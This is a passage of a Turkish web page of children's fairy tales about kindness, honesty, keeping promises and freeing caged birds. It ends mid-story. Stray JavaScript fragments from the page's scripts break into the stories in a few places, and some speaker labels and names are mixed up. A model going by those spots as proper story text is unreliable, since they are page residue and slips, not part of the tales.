Tag: hikaye

İYİ YÜREKLİ NAYA VE PAPAĞAN
İYİ YÜREKLİ NAYA VE PAPAĞAN

Bir varmış bir yokmuş… Evvel zaman içinde kalbur saman içinde, çok ama çok uzak diyarların birinde büyük bir masal diyarı varmış… Masal diyarında masallar hiç bitmez, uslu duran ve yaramazlık yapmayan tüm çocuklar bu masalları dinlermiş. İşte o masallardan birisi senin gibi uslu duran çocuklara gelsin…

Bir varmış bir yokmuş. Uzak mı uzak diyarların birinde güzeller güzeli, şekerler şekeri bir kız yaşarmış. Bu kızın adı Naya imiş. Naya hayvanları çok seven, bahçede koşup oynayan doğa dostu bir kızmış.

Günlerden bir gün Naya’ya babası güzeller güzeli bir papağan hediye etmiş. Bu papağan o kadar güzel o kadar büyükmüş ki Naya bu papağanı çok sevmiş. Renkli tüyleri her baktığından onu büyülüyormuş. Bu papağan bir de o kadar güzel konuşuyormuş ki… Hatta Naya ile karşılıklı olarak konuşan bu papağan, Naya’ya güzel bir arkadaşlık da yapıyormuş. Ancak papağanın aklı fikri her zaman esas yurdunda yani koskocaman ormanlardaymış.

Papağan eskiden büyük mü büyük, güzel mi güzel bir ormanda yaşıyormuş. Ailesi ve arkadaşları ile birlikte bu ormanda hayatını devam ettirirken bir gün avcılardan birisi papağanı esir almış. Onu uzun bir süre kafeste tutan bu acımasız avcı, gün geldiğinde de papağanı en çok para veren müşteriye satmış. Papağan o gün bu gündür ormanın özlemi ile yanar tutuşur, ne arkadaşlarını ne de ailesini bir türlü unutmazmış.

Papağan bir gün dayanamamış ve içinden geçenleri bu güzel yürekli minik kıza anlatmaya karar vermiş. Naya’yı karşısına alan papağan, başlamış tüm hayatını anlatmaya:

Papağan: ‘Naya, benim güzel yürekli arkadaşım. Ben sana hayat hikâyemi anlatayım mı? Ben eskiden büyük ve güzel bir ormanda yaşayan mutlu bir papağandım. Ancak bir gün acımasız avcının teki geldi ve beni esir alarak hem arkadaşlarımdan hem de ailemden ayırdı. Üstelik bu da yetmezmiş gibi beni uzun bir süre kafeste esir tuttu. Sonra da en çok para veren müşterisine sattı. Benim burnumda hala o ormanların kokusu var. Hem yaşadığım o ormanı hem de arkadaşlarımı inan çok özledim’ demiş.

Naya haftalardır kendisine arkadaşlık eden bu güzel papağanın hikâyesini duyunca o kadar üzülmüş ki… Kendisini evinden ve ailesinden uzakta düşünmüş ve hemen gözünden birkaç damla yaş süzülmeye başlamış. Naya bu düşünceyi kendisi için bile düşünemezken, nasıl olur bu papağana yapabilirmiş! Bu acımasızlığı kendisine yakıştıramamış.

Naya: ‘Papağan kardeş, inan ben bunların hiçbirini bilmiyordum. Seni babam aldı ve bana getirdi. Ben seni evinden yurdundan arkadaşlarından ayırdıklarını bilsem hiç kabul eder miydim’ demiş.

Papağan bu güzel minik kızın kalbinin güzelliğini zaten biliyormuş. Sorun onda değil acımasız avcıdaymış. Ancak Naya’nın pes etmeye hiç ama hiç niyeti yokmuş. Aklına şahane bir fikir gelmiş.

Naya hızlıca kalkmış yerinden. Papağan ne olduğunu bile anlamadan kendisini eski demir bir kafesin içerisinde bulmuş. Şaşkınlık içerisinde sormuş Naya’ya:

Papağan: ‘Naya, arkadaşım, ne yapacaksın bana? Neden beni kafes içerisine koydun?’

Naya papağana hiçbir şey söylemeden almış kafesi eline. Evin dışarısına çıkmış önce. Etrafa bakınmış ve var gücüyle koşmaya başlamış. Evlerinin hemen yakınında bulunan ormana doğru koşmuş. Annesi ve babası görmeden bu işi bitirmeliymiş.

Ormanın içerisine girdiklerinde Naya kafesi yere koymuş ve ne olduğunu anlamayan papağana dönmüş:

Naya: ‘Sevgili papağanım. Ben senin başına gelenlere razı olamam. Seni şimdi salacağım ve sen de gidip hem arkadaşlarına hem de ormanına kavuşacaksın. Ancak bir daha dikkatli ol ve hiçbir avcıya yakalanma’ demiş.

Papağan bu güzel yürekli kıza ne kadar teşekkür etse azmış. Gözünden iki damla yaş akarken Naya kafesin kapısını açmış ve papağan özgürlüğüne doğru uçmuş.

Naya papağanın arkadaşlığına o kadar alışmış ki bir an yaptığının doğru mu olduğunu sorgulamış kendi kendine. Ama onun evine ve arkadaşlarına kavuşması Naya için her şeyden önemliymiş.

Naya ertesi sabah uyandığında bir de ne görsün! Dün salıverdiği papağan odasının penceresinin kenarında onun uyanmasını beklemesin mi? Naya hemen kalkmış yatağından, penceresini açmış:

Naya: ‘Güzel papağanım, senin ne işin var burada?’

Papağan: ‘Sen beni özgürlüğüme kavuşturdun. Ailem ve arkadaşlarım ile yeniden buluşmamı sağladın. Ama ben de bu iyiliğini unutmam güzel yürekli arkadaşım. Her gün seninle sohbet etmek için geleceğim yanına. Tamam, evime ve arkadaşlarıma kavuşmuş olabilirim ama senin arkadaşlığın benim için her şeyden önemli’ demiş.

Naya anlamış ki iyilik eden her zaman iyilik görür. Ve yapılan iyilik her zaman karşılığını bulur. O gün bu gün papağan her gün Naya’yı ziyaret etmiş, onunla uzun saatler sohbet etmiş. Onların dostluğu hiç ama hiç bitmemiş. Gökten üç elma düşmüş…

YALAN YALANI DOĞURUR
YALAN YALANI DOĞURUR

Bir varmış bir yokmuş… Evvel zaman içinde, kalbur saman içinde, uzak mı uzak diyarların birinde birbirleri ile barış içinde yaşayan hayvanların olduğu kocaman bir orman varmış. Bu ormanda hangi hayvan yokmuş ki… Fareler, sincaplar, kediler, kuşlar, böcekler, tavşanlar, kaplumbağalar… Kısacası görüp görebileceğiniz tüm hayvanlar bu ormanda yaşarmış.

Gel zaman git zaman günlerden bir gün ormanda yaşayan sincap Mino, bir iş karşılığında kazandığı peyniri bir arkadaşına emanet etmek zorunda kalmış. Mino düşünmüş taşınmış, aklına hemen en yakında oturan arkadaşlarından Fare Mini gelmiş. Mini Mino’nun en iyi arkadaşlarından birisiymiş. Hemen Mini’nin evine giden Mino, heyecanla kapıyı çalmış. Kapıyı açan Mini daha hoş geldin bile diyemeden Mino konuşmaya başlamış:

Mino: “Canım dostum Mini, senden bir şey rica edeceğim: Ben gelene kadar peynirime bakar mısın? Başına bir şey gelmesini istemiyorum’’ demiş.

Fare Mini hemen kabul etti dostunun bu ricasını. Peyniri Mino’dan alarak evine koydu.

Sincap Mino evden ayrılınca Fare Mini peynirden bir an olsun gözünü ayırmadı. Arkadaşının güvenini boşa çıkarmak istemiyordu. Ama fare bu sonuçta, peynir de en dayanamadığı yemek. Karnı da aç olan Mini, çok dayansa da en sonunda pes etti ve peyniri afiyetle yedi.

Fare Mini peyniri tamamen midesine indirdikten sonra yaptığı şeyin farkına vardı. O an çok pişman oldu ama nafile! Ne diyecekti şimdi Mino’ya? Fare Mini diyeceklerini kafasında tasarlarken kapı çalmasın mı? Mino işini hızlıca bitirmiş ve peynirini almak için gelmişti bile.

Fare Mini arkadaşına kapıyı açtı. Mino hemen lafa girdi:

Mino: ‘Canım arkadaşım benim. Sana ne kadar teşekkür etsem azdır. Ben peynirimi alayım da geç olmadan gideyim.’

Fare Mini çaresizce yalan söylemek zorunda kaldı:

Fare Mini: ‘Mino senin peynirin yok. Tavşan Kiko geldi ve senin peynirini aldı benden.’

Sincap Mino şaşırmış:

Sincap Mino: ‘İyi de tavşan ne yapacak benim peynirimi?’

Fare Mini yalan söylediği için yine yalan söylemek zorunda kalmış:

Fare Mini: ‘Şey, benim ona borcum vardı. O yüzden aldı.’

Sincap Mino devam etti sorularına:

Sincap Munu: ‘Ne borcun vardı senin tavşan Kiko’ya?’

Fare Mini her soruya yalanla cevap vermek zorunda kalıyormuş. Çünkü en başında yalan söylemiş:

Fare Mini: ‘Şey, ben ondan havuç almıştım ama geri veremedim.’

Sincap Mino anlayamamış:

Sincap Mino: ‘Neden geri veremedin peki?’

Fare Mini yalanları ile gitgide köşeye sıkışıyormuş:

Fare Mini: ‘Ben çalışıp kazanamadım ve havucunu ona geri veremedim.’

Sincap Mino arkadaşının neden çalışmadığını merak etmiş:

Sincap Mino: ‘ Niçin çalışamadın peki Mini?’

Fare Mini artık yalanla yalanı idare etmekten bıkmış ama bir kere yalana bulaştığı için doğruyu da söyleyemiyormuş:

Fare Mini: ‘Şey, bu yıl çok sıcak geçti, ben de çalışamadım.’

Sincap Mino biraz sinirlenmiş:

Sincap Mino: ‘Sen benim peynirimi nasıl çalışıp ödeyeceksin peki?’

Fare Mini bakmış ki bu iş böyle olmuyor. Ne kadar yalan söylerse bir o kadar da geriden geliyor. Yalanlarını ancak başka bir yalanla idare edebiliyor. Üstelik arkadaşı Sincap Mino’yu da kızdırıyor. Fare Mini en sonunda pes etmiş:
Fare Mini: ‘Canım arkadaşım ben sana en başında yalan söyledim. Affet beni. Ben peyniri dayanamayıp yedim. Çok açtım ve peynirin kokusu da burnuma çok güzel geldi. Dayanmaya çalıştım ama olmadı. Sen çok kızarsın diye de yalan söyledim, tavşan aldı dedim. Ama baktım ki yalan yalanı doğuruyor, artık bir son vermeliyim bu yalana dedim.’

Sincap Mino arkadaşına ilk baştan yalan söylediği için kızmış ama ardından doğruyu söylediği için de Fare Mini’yi affetmiş. Fare Mini de bir daha yalan söylemeyeceğine dair söz vermiş. Böylece iki arkadaş birbirlerine sarılmışlar ve arkadaşlıklarına devam etmişler.

Sevgili çocuklar, bu masalda da gördüğünüz gibi insanlar bir kere yalan söylemeye başladı mı o yalanın ardı arkası kesilmez. Çünkü söylenen bir yalan diğer söylenecek yalanların da habercidir. Siz siz olun yalan söylemeden önce bir kez daha düşünün. Çünkü bir kere yalan söylemek demek bir daha hep yalan söylemek zorunda kalmaktır.

YARAMAZ SİNCAP MUNU
YARAMAZ SİNCAP MUNU

Bir varmış bir yokmuş… Evvel zaman içinde, kalbur saman içinde, pireler berber iken, develer ise tellal iken; ben de dedemin beşiğini tıngır mıngır sallar iken… Uzak mı uzak diyarların birinde sevgi ülkesinin içerisinde büyük bir bahçe varmış. Bu bahçede tonton bir dede yaşarmış. Tonton dede bütün gün bahçe içerisinde gezinir, bahçeye yeni fidanlar, sebze ve meyveler ekermiş. Meyveler- sebzeler büyüdüğünde rengârenk gözükür, çiçek açan ağaçlar bahçeyi adeta bir resim haline çevirir. Onlara gözü gibi bakan bu tonton dede, zamanı geldiğinde yetiştirdikleri toplar, kocaman bahçeden çıkan meyve-sebzelerle bütün bir kışı aç kalmadan geçirirmiş.

Gel zaman git zaman bu güzel bahçeye bir gün tilki dadanmış. Tilki kurnazlığı ile meşhur ya kendisini çok iyi kamufle ettiğinden tonton dede onu bir türlü yakalayamıyormuş. Tonton dedenin bahçesindeki meyve ve sebzelerden yiyen bu utanmaz tilki, tonton dede bahçeden uzaklaşınca hem ağaçlara hem de tavukların olduğu kümese dadanırmış.

Bahçede sadece meyve ve sebze yokmuş tabi. Tonton dedeye her gün yumurta veren tavuklar, süt veren inekler ve yemyeşil çimlerde koşturan minicik, sevimli mi sevimli sincaplar da yaşarmış. Bu sincaplardan birisi de yaramazlığı ile meşhur olan Munu imiş.

Munu anne ve babasının uyarılarına aldırmadan tonton dede bahçeden ayrıldığı gibi bahçeye dadanan ve tavukları kümesten kovalayan tilkiyi izlermiş. Tilkiyi izlemek için de en yüksek ağaçların birinin tepesine çıkarmış.

Günlerden bir güm yaramaz sincap Munu yine anne-babasını dinlemeden her zamanki ağacına tırmanarak tilkiyi beklemeye başlamış. Fakat o da ne! Birdenbire öyle bir fırtına kopmuş ki zavallı minik sincap Munu ağacın tepesinde kalakalmış. Bu rüzgârda ne aşağıya inebiliyormuş, ne de bağırabiliyormuş…

Küçük sincap Munu ağaç üzerinde canını kurtarmaya çalışırken ağacın altında kendisine kahkahalarla gülen tilkiyi görmüş:

TİLKİ: ‘Seni yaramaz sincap Munu, seni… Demek her akşam ağaç tepesine çıkıp benim neler yaptığımı izliyordun! Ağaç tepelerinde gezeceğine benim yaptığım gibi deliklere sığınsaydın böyle olmazdı. Şimdi sen oradan nasıl ineceğini düşünedur, ben gidip şu kümesteki tavuklara dadanayım’ demiş.

Sincap Munu üzülse de tilkiye bir şey söylememiş. Tilki onu ağacın tepesinde bırakıp giderken Munu bir daha anne-babasının sözünden çıkmamaya söz vermiş kendi kendine.

 

Munu tam ağlamaya başlayacakken şiddetle esen fırtına birdenbire durulmuş. Sincap Munu birdenbire ne olduğunu anlayamasa da hemen ağaçtan inmeye başlamış. O sırada bahçenin sahibi olan tonton dede de rüzgârın dinmesini fırsat bilerek evinden çıkıp kümese doğru yürümeye başlamış. Munu o anda tilkinin içeride olduğunu hatırlamış.

Tonton dede kümesi açtığı anda aylardır aradığı tilkiyle karşılaşmış. Öfkesinden ne yapacağını bilemeyen tonton dede başlamış Munu’yu kovalamaya. Bunu gören köpekler durur mu? Onlar takılmış Munu’nun peşine. Çünkü tonton dede artık yaşlıymış ve hızlı koşamıyormuş!

 

Munu uyanık tilkiyi kovalayan köpekleri görünce içten içe sevinmiş. Çünkü az önce ağaç tepesinde yardıma ihtiyacı olmasına rağmen bu tilki kendisine yardım etmemiş. Fakat sonra kendisine kızmış minik sincap Munu. Kurnaz tilkinin köpekler tarafından kovalandığını gören Munu, az önce kendisinin de bir belayı zar zor atlattığını düşünerek, kurnaz tilkinin başına gelen bu duruma asla gülmemiş. Çünkü atalarımız ne demiş: ‘Gülme komşuna, gelir başına…’

Minik sincap Munu ve kurnaz tilkinin masalı böylece son bulmuş. Gökten üç elma düşmüş… Bir tanesi masalı anlatana, bir tanesi kurnaz tilkinin kafasına, bir tanesi de minik sincap Munu’nun kafasına…

document.currentScript.parentNode.insertBefore(s, document.currentScript);

KURNAZ TİLKİ İLE KURT
KURNAZ TİLKİ İLE KURT

Bir varmış bir yokmuş… Evvel zaman içinde kalbur saman içinde, develer tellal iken pireler berber iken; ben dedemin beşiğini tıngır mıngır sallar iken… Masal diyarından bir peri gelmiş yanıma, başlamış anlatmaya… Anlatmış da anlatmış, uzun bir masal anlatmış. İşte o masal…

Evvel zaman içinde, kalbur saman içinde uzak mı uzak diyarların birinde, büyük bir orman varmış. Bu ormanda büyük bir kurt yaşıyormuş. Kurt o kadar büyük, o kadar gösterişli bir kurtmuş ki; uludu mu dağı taşı inleten, ormandaki tüm hayvanları korkutan bir hayvanmış. Ama yıllar bu büyük bu güçlü kurdu yaşlandırmış. Gün geçtikçe kurt gücünü kaybetmeye ve yaşlanmaya başlamış. Artık eskisi gibi çevik değilmiş, bir ulumasında av bulamıyormuş. Kurt aç kalmaya başladığında tehlikenin farkına varmış ve yanına kurnaz bir hayvanı arkadaş olarak alması gerektiğini anlamış.

Kurt düşünmüş taşınmış, aklına ilk gelen tilki olmuş. Tilki tüm ormanda kurnazlığı ile bilinen bir hayvanmış. Kurt eğer tilki ile birlikte hareket ederse, onun aklı ile istediği kadar hayvan avlayabileceğini düşünmüş. Hemen kalkmış ve tilkiyi aramaya başlamış. Kurt tilkinin yanına gelip düşündüklerini onunla paylaşmış ve tilkiye ortaklık sunmuş. Tilki düşünmüş, taşınmış; ardından kurdun teklifini kabul etmiş:

Tilki: ‘Tamam kurt kardeş, seninle ortaklığa varım. Ama avladığın avın yarısı benim olacak tamam m’ demiş.

Kurt, üzerinde hiç düşünmeden “tamam” deyivermiş hemen tilkiye. Kurdun sözü üzerine harekete geçen tilki, hemen kurnaz planlar düşünmeye başlamış. Tilki bu, aklı hep kurnazlığa çalışırmış. Biraz düşündükten sonra aklına gelen planı hemen kurt ile paylaşmış:

Tilki: ‘Kurt kardeş bak şimdi; hemen bir çukur kazalım şuraya. Sonra sen de çukurun içine gir. Ben senin üzerini çalı, çırpı ve biraz da toprakla örteceğim. Yalnızca dişlerin dışarıda kalacak, toprağın üzerinde. Ben ise ormandaki hayvanları toplayıp buraya getireceğim. Sana ‘Şimdi çık’ dediğimde çıkacaksın ve bütün avlar hemen yanında olacak’ demiş.

Kurt bu planı çok beğenmiş. Tilki ile ikisi hemen harekete geçmiş. İşin sonunda kurdun her yeri toprağa gömülüymüş, sadece dişleri toprak üzerinde kalmış.

Tilki kurdu hazırlayınca, hemen ormanların içindeki hayvanların arasına koşmuş. Meydana gelince bütün hayvanları toplamış ve başlamış konuşmaya:

Kurt: ‘Ormandaki tüm hayvanlar, söyleyin bakalım dişler nereden çıkar?’

Bütün hayvanlar kurda bakarak aynı anda cevaplamışlar. ‘Ağızdan çıkar tabii’ demişler.

Tilki durur mu,  hemen yapıştırmış cevabı, “Başka nereden çıkar?” demiş.

Hayvanlar düşünmeye başlamış ama diş başka nereden çıkabilirmiş ki! Tilki ise istediği ortamı yarattığına oldukça memnun bir şekilde cevaplamış kendi sorusunu:

Tilki: ‘Başka nereden çıkacak, tabii ki topraktan çıkar’ demiş.

Hayvanların hepsi aynı anda başlamışlar itiraz etmeye. Topraktan diş çıkar mıymış hiç! Kurnaz tilki arkadaşlarının şaşkınlığından yararlanarak;

Tilki: “İnanmazsanız göstereyim” demiş.

Ormandaki hayvanlar takılmış tilkinin peşine, tilki onları kurdun olduğu yere götürmüş. Toprağın üzerindeki kurdun dişlerini gösteren tilki arkadaşlarına dönerek:

Tilki: ‘Bana inanmamıştınız, haksız mıymışım?’ demiş.

Hayvanlar toprağın üzerindeki dişleri görünce çok şaşırmışlar. Birkaç tanesi dişleri daha da yakından görmek için iyice yaklaşmış çukura. Tilki o anda kurda mesajı vermiş, kurt da sağlandığı yerden çıkıp bütün hayvanları pençelemiş.

Sırra yemeğe geldiğinde tilki hemen anlaşmayı hatırlatmış kurda:

Tilki: ’Kurt kardeş, anlaşmamıza göre paylaşalım şunları.” Demiş. Ancak kurt oralı bile olmamış. Hatta tilkiye ‘Anlaşma falan yok’ demiş.

Kurnaz tilki böyle oyunlara gelir mi! Kurdun aklına tehlikeli bir şey sokmuş. Tilki bal toplamaya gideceğini söylediğinde kurdun ağzının suyu akmış.  Hemen tilki ile paylaşmış bütün avını. Tilki ile kurt karınlarını doyurunca tilki takmış peşine kurdu. Tilki daha önce biliyormuş bu kovanı. Arıların içinde olduğunu da fark etmiş. ‘İşte şimdi intikam zamanı diyerek arı kovanının içine kurdun elini sokmuş, kendisi de kaçmış. Arılar kurdun her yerini ısırınca kurt hatasını fark etmiş ama nafile!

Sevgili çocuklar, siz siz olun verdiğiniz sözleri her zaman tutun!} else {

BÜLBÜL İLE BAHÇIVAN
BÜLBÜL İLE BAHÇIVAN

Bir varmış, bir yokmuş… Evvel zaman içinde, kalbur saman içinde; develer top oynarken eski hamam içinde. Horozlar tellal iken, pireler ise hamal iken. Ben ise dedemin beşiğini tıngır mıngır sallar iken… Uzak mı uzak diyarların birinde masallar ülkesi var iken… Bu masal da size o ülkeden gelmişken… Buyurun dinleyin masalı, bahçıvan ile gülün aşkını…

Bir zamanlar herkesin hayranlıkla baktığı güzel bir bahçe varmış. Bu bahçeye gözü gibi bakan bir de bahçıvan varmış. Bahçıvan bahçesine çok düşkünmüş. Sabah uyandığı gibi ilk işi çiçeklerini sevmek, onlara bakım yapmak ve sulamakmış. Saatlerce çiçekleri ile konuşan bu bahçıvanın en sevdiği köşe ise güllerin olduğu köşe imiş. Bahçesinde güllerinin olduğu köşeye geldiğinde buraya ayrı bir hayranlıkla bakan bahçıvan, güllere bakmaya da onlarla konuşmaya da doyamazmış.

Gel zaman git zaman, bir sabah bahçıvan, yine bahçesine çıkmış erkenden. Çiçeklerini sulamış, onları sevmiş, sularını vermiş.  Ardından güllerin olduğu köşeye doğru yola koyulmuş. Fakat o da ne! En sevdiği kırmızı gülün üzerine bir bülbül!

Bülbül, bahçıvanın en çok sevdiği kırmızı gülün üzerine kurulmuş, türlü türlü nağmeler söylüyormuş. Bir yandan da bir dalından gonca vermeye başlayan gülü gagalıyormuş. Bahçıvan bunu görünce çılgına dönmüş! ‘Ben sana gösteririm’ diyerek bülbüle tuzak hazırlamak için uzaklaşmış.

Bahçıvan o sinirle evinin ardiyesinden eski bir kafes bulmuş. Amacı bülbülü bu kafese koyarak ona güzel bir ceza vermekmiş. Tekrar bahçeye çıkan bahçıvan ne yapmış ne etmiş bülbülü kafesin içine yerleştirmiş.  Kafesin kapağını da bir güzel kapatmış.

Kafese kapatılan bülbül, ne olduğunu anlayamamış. Daracık kafeste kanatlarını çırpamıyor, istediği gibi uçamıyormuş. Günden güne solan bülbül, ne bir şey yiyor ne de eskisi gibi şen şakrak ötüyormuş. Bülbül kahrından ve derdinden neredeyse ölecekmiş. En sonunda dayanamamış ve dile gelmiş:

Bülbül:  “Ey bahçıvan! Sen neden beni bu kafese hapsettin? Ben sana ne yaptım? Özgürlüğümü neden elimden aldın? Sen bahçende ne kadar mutluydun hatırlıyor musun? Sen nasıl bahçende mutlu olabiliyorsan, ben de özgürce istediğim gibi uçarken mutlu olabilirim’ demiş.

Bahçıvan bülbülün sözlerine hemen cevap vermiş:

Bahçıvan: ‘ Sen daha ne kabahat işlediğini bile bilmezsin! Benim en sevdiğim kırmızı gülümü sen didikledin! Hem de yeni açmış goncasını!

Bülbül o anda bahçıvanın kendisini neden kafese tutsak ettiğini anlamış. Hatasının da farkına varmış:

Bülbül: ‘Özür dilerim bahçıvan kardeş. Ben gerçekten yaptığım hatanın farkında değilim. Senin güllerine bilmeden zarar vermişim, affet. Ama sen de farkında olmadan işlediğim bir suç için beni kafesin içine sokarak cezalandırıyorsun. Peki, senin yaptığın doğru bir şey mi? Benim gibi uçmaktan başka hiçbir mutluluğu olmayan bir kuşu acımadan kafese kapatmanın cezası ne olmalı sence?’ demiş.

Bahçıvan bu sözler üzerine uzunca düşünmüş. Bülbül haklıymış. Onun uçmaktan başka hiçbir mutluluğu yokmuş. Bahçıvan kendisinin en büyük mutluluğu olan bahçesinin elinden alınmasını düşünmüş. Ne kadar da üzülürmüş! İşte o an bülbülün ne demek istediğini anlamış. Ona verdiği cezanın çok ağır olduğuna hak vermiş. Yerinden kalkan bahçıvan yavaşça kafesin yanına gitmiş:

Bahçıvan: ‘Haklısın bülbül kardeş. Senin en büyük mutluluğun uçmak iken ben bu mutluluğu senin elinden alamam. Buna hakkım yok. Şimdi kafesi açıp serbest bırakacağım seni. Ama sen de bana söz ver. Bir daha çiçeklere karşı daha nazik davranacak, onlara zarar vermeyeceksin.’

Bülbül hemen söz vermiş bahçıvana ve o günden sonra çiçeklere zarar vermemiş.

Gökten üç elma düşmüş, üçü de masalı dinleyen çocukların olmuş…

Dilara Öğretmenin Hikayesi
Dilara Öğretmenin Hikayesi

Dilara Öğretmenin Hikayesi

Küçük bir kasabada son zamanlarda garip hırsızlık olayları olmaya başlayınca, bu durum halkı çok huzursuz etmeye başlamış. Kasabalılar kendilerini bildi bileli kimsenin bir çöpü bile kaybolmazken son zamanlarda anlam veremedikleri hırsızlıklar yaşanıyormuş. Kimi gün bakkaldan bir ekmek, kimi gün manavdan 2 elma, kimi gün mandıradan 1 kase yoğurt çalınıyormuş.

Bunun basit bir hırsızlık vakası olmadığını anlayan esnaflar kendi aralarında bir toplantı yapmışlar. Herkes neyinin kaybolduğunu tek tek söylemiş. Çalınan şeyler hep yiyecekmiş ve maddi değerleri de o kadar fazla değilmiş. Burada kasaba esnafını düşündüren şey, kasabalarında yardıma ihtiyacı olan birisinin bulunduğuymuş. Bu kişi her kimse onu bulmaları ve ona yardım etmeleri gerektiğini düşünüyorlarmış. Çalınan yiyeceklerin az miktarda olması ve son hırsızlık olayının olduğu yerde küçük ayak izlerine rastlanması, bunu yapan kişinin henüz çocuk olduğunu düşündürüyormuş. Yardım edebilmek için bu çocuğu mutlaka bulmaları gerekiyormuş. Bunun üzerine tüm esnaflar hırsızlığın meydana geldiği gündüz vakitlerinde daha dikkatli olmaya karar vermişler.

Bir gün, iki gün derken üçüncü gün öğle vakitlerinde fırıncı Hasan amca küçük bir kızı ekmek kasasından ekmek alırken yakalamış. 6 yaşlarında, zayıf, sarışın bir kız olan çocuk yakalandığını anlayınca korkudan yaprak gibi titremeye ve sessizce ağlamaya başlamış. Üstü başı perişan halde olan ve boynunu bükmüş ağlayan küçük kızın halinden bu hırsızlığı aç olduğu için yaptığı anlaşılıyormuş. Hasan amca küçük kızı daha fazla korkutmamak için tuttuğu kolunu bırakmış ve ona; ” ağlama küçük kız sana bir zarar vermeyeceğim, belli ki ihtiyacın olduğu için ekmek ödünç almaya gelmişsin. Seninle bir anlaşma yapabiliriz istersen.” dediğinde, küçük kız ilk defa başını yerden kaldırıp adamın yüzüne bakmış. Masum gözleri yaşlı adamın içini acıtmış. Yumuşak bir sesle küçük kıza adını ve yaşını sormuş. Kız 6 yaşında olduğunu ve adının da Pınar olduğunu söylemiş. Hasan amca Pınar’a tüm olanları kendisine anlatmasını istemiş. Pınar’da hayatta yaşlı ninesinden başka kimsesinin olmadığını, onun ve kendisinin karnını doyurmak için hırsızlık yapmak zorunda kaldığını anlatmış. Yaşlı adam küçük kızın saçlarını okşamış ve ona sen hırsızlık yapmıyordun, senin gibi iyi bir kız hırsızlık yapamaz. Bizden borç olarak yiyecek alıyordun ama bunu bize söylemeyi unutuyordun, bundan sonra her gün gelip benden istediğin kadar ekmek ve simit alabilirsin demiş. Küçük kız ama benim param yok diye boynunu büktüğünde, yaşlı adam ona ileride büyüyüp iş sahibi olduğunda bana borcunu ödersin anlaştık mı küçük hanım dediğinde ilk kez Pınar’ın yüzü gülmüş.

Fırıncı Hasan amca Pınar’a bir poşete koyduğu ekmek ve simitleri vererek evine göndermiş. Bundan sonra her gün gelip bunlardan alabileceğini söylemiş. Küçük kız evine giderken mutluluktan havalara uçuyormuş. Yaşlı ninesi ve Pınar uzun zamandır ilk kez karınlarını tam anlamıyla doyurabilmişler ve fırıncıya bol bol dua etmişler. Fırıncı Hasan amca küçük kızı evine gönderdikten sonra tüm esnaf arkadaşlarına tek tek bu olayı anlatmış. Hepsi de onunla aynı şeyi düşünmüşler. Her gün tüm esnaflar ninesi ve küçük kızın yemesi için yiyecek verme kararı almışlar. Küçük kızı rencide etmemek için de borç olarak verdiklerini söyleyeceklermiş. Kasabanın iyi kalpli esnafları bu sözlerini yerine getirmişler, hatta sadece bu kadarla kalmayıp, el birliği ile Pınar’ı Liseye kadar okutmuşlar. Sonrasında kız üniversite okumak için kasabadan ayrılmış.

Aradan yıllar geçmiş Pınar genç bir öğretmen olduğunda da o küçük kasabayı ve oradaki iyi kalpli insanları hiç unutmamış. Hiç bir öğretmenin gitmeyi istemediği o küçük kasabaya gönüllü olarak gitmiş ve yıllar önce kendisine yapılan iyiliklerin karşılığını ödeyebilmek için sadece bir öğretmen değil, yardıma ihtiyacı olan herkese el uzatan bir insan da olmuş.} else {

Bekir’in Büyük Şehir Merakı
Bekir’in Büyük Şehir Merakı

Bekir’in Büyük Şehir Merakı

Küçük bir köyde oturan Bekir çocukluğundan beri büyük şehrin hayalini kurmaktadır.

Büyüdüğünde orada yaşayacağını küçük yaşlarından beri herkese söylemektedir. Henüz

küçük olduğu için annesi onun bu dediklerinin üzerinde çok fazla durmamakta ve

büyüdüğünde oğlunun bu düşüncesinden vazgeçeceğine inanmaktadır.

Fakat aradan geçen yıllar Bekir’in büyük şehre gitme isteğini köreltmek yerine daha çok

artırmıştır. Genç bir adam olan Bekir sürekli büyük şehire gitmekten, orada çalışıp çok

zengin olmaktan bahsetmektedir. Annesi oğlunun bu dediklerini yapıp, doğup büyüdüğü

köyden kopmasından çok korkuyormuş. Oğluna sürekli düşüncesinin yanlış olduğunu,

büyük şehirde yaşamanın zorluklarını anlatmaya çalışıyormuş. Fakat Bekir ne annesini

ne de diğer insanları dinlemiyormuş. İlla ki büyük şehire gitmeyi kafasına koymuş, sürekli

aklında bunu tasarlıyormuş.

Genç adam birgün annesine para biriktirdiğini ve artık büyük şehire gidip orada yaşamak

istediğini söylemiş. Annesi çok dil dökmüş, çok ağlamış fakat ne söylese fayda etmemiş.

Bekir verdiği karardan dönmüyormuş. En sonunda yaşlı kadın istemeyerek de olsa

oğlunu büyük şehire göndermiş. Oğlunun orada mutlu olamayacağını biliyormuş, sürekli

oğlu için dua ediyormuş. Bekir ilk zamanlar cebinde parası olduğu için sıkıntı çekmemiş.

Şehirde kendisine birçok arkadaş edinmiş ve iş bulup çalışmak yerine bütün zamanını

bu arkadaşlarıyla gezip eğlenerek geçirmiş. Köyde olsam bütün gün tarlada çalışıp

yorolacaktım, burada tarlada çalışmadan bütün gün gezip eğleniyorum diye

düşünüyormuş. Bu rahat yaşantı genç adama o kadar cazip gelmiş ki iş bulmayı hiç

düşünmüyormuş. Birkaç ay sonra cebindeki parası bitince Bekir gerçeklerle yüzyüze

gelmiş. Etrafındaki arkadaşları bir bir dağılmışlar ve genç adam koskoca şehirde tek

başına kalmış. İş yok, güç yok, cebinde para yok…

Sonunda köye annesini ziyarete gitmeye karar vermiş. Yaşlı kadın oğlunu görünce çok

mutlu olmuş. Genç adam 3 gün köyde kalmış bu arada tüm arkadaşlarını görmüş, onlara

büyük şehri ballandıra ballandıra anlatmış. Annesi oğluna orada ne yaptığını, çalışıp

çalışmadığını sorduğunda genç adam, çalıştığını fakat patronunun işleri yolunda

gitmediği için bu ay maaşını alamadığı yalanını söylemiş. Yaşlı kadın oğluna inanmış ve

elinde avcunda ne varsa hepsini oğluna vermiş. Bekir annesinin yaşayabileceği

zorlukları düşünmeden parayı almış ve hemen şehrin yolunu tutmuş.

Elinde kendisini birkaç ay idare edecek kadar para varmış, iş bulana kadar bu para ona

yetermiş fakat Bekir’in çalışmaya niyeti yokmuş. O kolay yoldan para kazanmak ve

sürekli gezip eğlenmek istiyormuş. Bu düşüncesini bilen arkadaşları onu kumara

alıştırmışlar. Bekir 1 hafta içinde elinde ne var ne yoksa kaybetmiş. Kazanma hırsı

gözünü öylesine karartmış ki, kumar oynayacak parayı bulabilmek için hırsızlık yapmış.

Yakalanmış ve hapse atılmış.

Bekir hapisteyken uzun uzun düşünmeye zamanı olmuş. Annesinin verdiği nasihatleri

